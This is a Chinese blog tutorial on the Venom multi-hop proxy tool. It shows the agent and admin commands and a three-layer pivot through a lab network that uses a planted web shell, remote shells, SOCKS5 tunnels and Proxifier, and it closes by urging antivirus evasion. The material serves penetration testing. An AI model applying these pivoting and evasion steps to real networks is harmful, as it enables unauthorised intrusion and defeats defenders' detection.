Venom的简单使用介绍
Venom项目地址:https://github.com/Dliv3/Venom/releases
Venom介绍:
Venom是一款为渗透测试人员设计的使用Go开发的多级代理工具,可将多个节点进行连接,然后以节点为跳板,构建多级代理。渗透测试人员可以使用Venom轻松地将网络流量代理到多层内网,并轻松地管理代理节点。
打开目录可以看到分为:admin(服务端)和agent(客户端),服务端是在本地运行,客户端则是在目标服务器上运行,分类也是包含了大部分操作系统的类型,scripts目录里的脚本是用来端口复用的:

Windows下直接运行,会出现版本号并提示一些用法:

1.Venom的正向代理与反向代理
agent监听端口,admin发起连接:
./agent_linux_x64 -lport 8888
./admin_macos_x64 -rhost 192.168.204.139 -rport 8888
admin监听端口,agent发起连接:
./admin_macos_x64 -lport 9999
./agent_linux_x64 -rhost 192.168.0.103 -rport 9999
2.admin节点内置命令
-
show显示网络拓扑
A表示admin节点,数字表示agent节点 ,如下图所示,代表了进行两层的代理,有两个agent节点:
-
goto ID进入某agent节点
进入节点1,对其利用
-
socks 端口建立到某节点的socks5代理
建立本地与节点1的Socks5代理,代理端口为9999:
-
setdes/getdes设置/获取节点信息描述
起到标记节点的作用:
-
shell获取节点的交互式shell
-
upload/download向节点上传/从节点下载文件
将本地桌面上的test.txt上传到节点1上:
将节点1上的test2.txt下载到本地的:

-
lforward/rforward将本地端口转发到远程/将远程端口转发到本地
lforward将admin节点本地的8888端口转发到node1的8888端口
(node 1) >>> lforward 127.0.0.1 8888 8888
forward local network 127.0.0.1 port 8888 to remote port 8888
rforward 将node1网段的192.168.204.103端口8889转发到admin节点本地的8889端口
(node 1) >>> rforward 192.168.204.103 8889 8889
forward remote network 192.168.204.103 port 8889 to local port 8889
-
help打印帮助信息

Venom三层代理演示
这次准备的环境如下图拓扑,每个网段各有一个CMS,Internet只能访问DMZ区;DMZ区可以访问服务区,不能访问设备区;服务区与设备区互通。
都是Windows环境,为追求效率,Shell已经写入目,其中192.168.1.100映射出来的地址是10.70.10.117:

蚁剑直接连接我们预设的shell:http://10.70.10.117/shell.php,并上传对应的agent端:

我们这里在蚁剑终端执行agent64.exe -lport 9999,目标服务器本地监听9999端口:

本地发起连接,执行对应的admin服务端,指定目标IP和端口,可以看到显示Venom Admin Node Start,说明连接成功,show一下可以看到多了个节点1:

goto 1,选择进入节点1,执行shell进入10.70.10.117的CMD模式:

第一层代理:
输入socks 9999,建立socks5代理隧道,本地的socks5代理就是127.0.0.1:9999:

配置proxifier
添加代理:菜单栏 -> Profile -> proxy servers -> add
将127.0.0.1:9999添加进去:

配置代理规则:菜单栏 -> Profile -> proxification Rules。
规则分为三种模式:Proxy(代理)、Direct(放行,不走代理)、Block(阻塞)。
我们将不需要代理的设为Direct,需要代理的自行添加exe应用:

点击左下角的Add,选择添加代理的应用,比如Google,填好Name,选择chrome.exe,最后点击Action要选择Proxy SOCKS5 127.0.0.1:

这里设置了Google和蚁剑可以走127.0.0.1:9999的代理:

Google之前肯定是不能访问服务区的,现在可以直接访问内网的192.168.2.100,可以看到连接成功:

第二层代理
这里蚁剑已经走了代理,可以直接连接我们写好的shell,并上传agent客户端:

直接在节点2上开启监听,也就是在192.168.1.100上监听9998端口,让192.168.2.100发起连接:

192.168.2.100执行命令连接192.168.1.100的9998端口:agent64.exe -rhost 192.168.1.100 -rport 9998

执行show,看到多了个节点2:

goto 2,在节点2上开启socks5代理隧道,也就是本地的:127.0.0.1:9998。

配置proxifier
添加代理:
将127.0.0.1:9998添加进去:

配置代理规则:
之前设置的Google浏览器和蚁剑也都需要换成127.0.0.1:9998,第一层代理的流量也在其中:

Google浏览器访问192.168.3.100

第三层代理
这里蚁剑已经走了127.0.0.1:9998的代理,可以直接连接我们写好的shell,并上传agent客户端:

直接在节点2上开启监听,也就是在192.168.2.100上监听9997端口,让192.168.3.100发起连接:

192.168.3.100执行命令连接192.168.2.100的9998端口:agent64.exe -rhost 192.168.2.100 -rport 9997

建立socks隧道:

配置proxifier
添加代理:
将127.0.0.1:9997添加进去:

配置代理规则:
修改代理:

通过上面的测试,多层代理的操作基本相似。
至此,本篇文章介绍就结束了,谢谢观看,若有疑问请留言,若有错误请指教。
很不幸,最近在做免杀测试的时候,发现毒液64位的已经被360杀了,各位做好免杀吧_2020.12.8
推荐另一篇内网渗透的文章:内网渗透
推荐两篇关于域渗透和金银票据的文章:
大佬看完给个赞呗






